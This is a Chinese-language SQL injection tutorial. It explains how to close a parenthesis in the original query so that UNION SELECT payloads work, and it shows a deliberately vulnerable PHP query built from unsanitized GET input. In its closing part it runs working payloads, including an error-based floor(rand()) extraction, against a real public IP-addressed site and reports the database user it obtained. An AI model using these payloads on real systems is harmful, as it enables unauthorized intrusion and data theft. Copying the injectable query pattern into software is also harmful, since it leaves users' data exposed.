当调试一个注入点时:

and 1=1 正常
and 1=2 逻辑错误
加单引号显示语法错误:You have an error in your SQL syntax; check the…省略…

一个非常明显的注入漏洞,当要进一步使用union select进行字段数猜解的时候,却出现了:Operand should contain 1 column(s)

要解决Operand should contain 1 column(s)的问题,其实很简单,不了解SQL语句的前开后闭原则,就会发生这样的语法错误
列举一段代码分析一下

$id = $_GET['id'];
$sql = "select * from news where xid = '$id'";
//假设xid为字符型

那么如果id取值为1,实际上数据库里被执行的SQL语句就是:

select * from news where xid = '1'

如果使用1'and'1'='1将先前的1替换掉,那么数据库执行的语句就是:

select * from news where xid = '1'and'1'='1'

这就是前开后闭原则,有几个引号“开”,就要有几个引号“闭”,引号不成双,则会发生语法错误

上面的Operand should contain 1 column(s)问题就是SQL语句中多加了一个单引号以后出现的回显:


You have an error in your SQL syntax; check the manual that corresponds to your GBase server version for the right syntax to use near '')' at line 1

错误发生的')这个地方,单引号是我加的,括号怎么来的?
是原来系统的执行语句中的。

系统语句前面一个“(“,所以如果注入语句中不加”闭”,那么后面什么都不加就出现逻辑错误Operand should contain 1 column(s),而注入语句追加或者/*就会出现语法错误

解决方法

.xxx?id=-1)+union+select+[n]+from+xxxx/*

在参数那里那个“)“闭合前面系统的括号,再使用”/*”注释掉后面的。看一个实例:

//文中此测试用注入点由习科论坛Scode Mao提供

http://218.69.93.71/ConInfoParticular.jsp?id=1'
//出现语法错误,错误发生在')
http://218.69.93.71/ConInfoParticular.jsp?id=1+and+1=1+union+select+1,2
//出现错误:Operand should contain 1 column(s)
http://218.69.93.71/ConInfoParticular.jsp?id=-1)+union+select+1,2/*
//出现字段数不一致的提醒:The used SELECT statements have a different number of columns
http://218.69.93.71/ConInfoParticular.jsp?id=-1)+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+user()+from+information_schema.columns+where+table_schema=database()+limit+2,1))a+from+information_schema.tables+group+by+a)b/*
//回显user()参数为root@localhost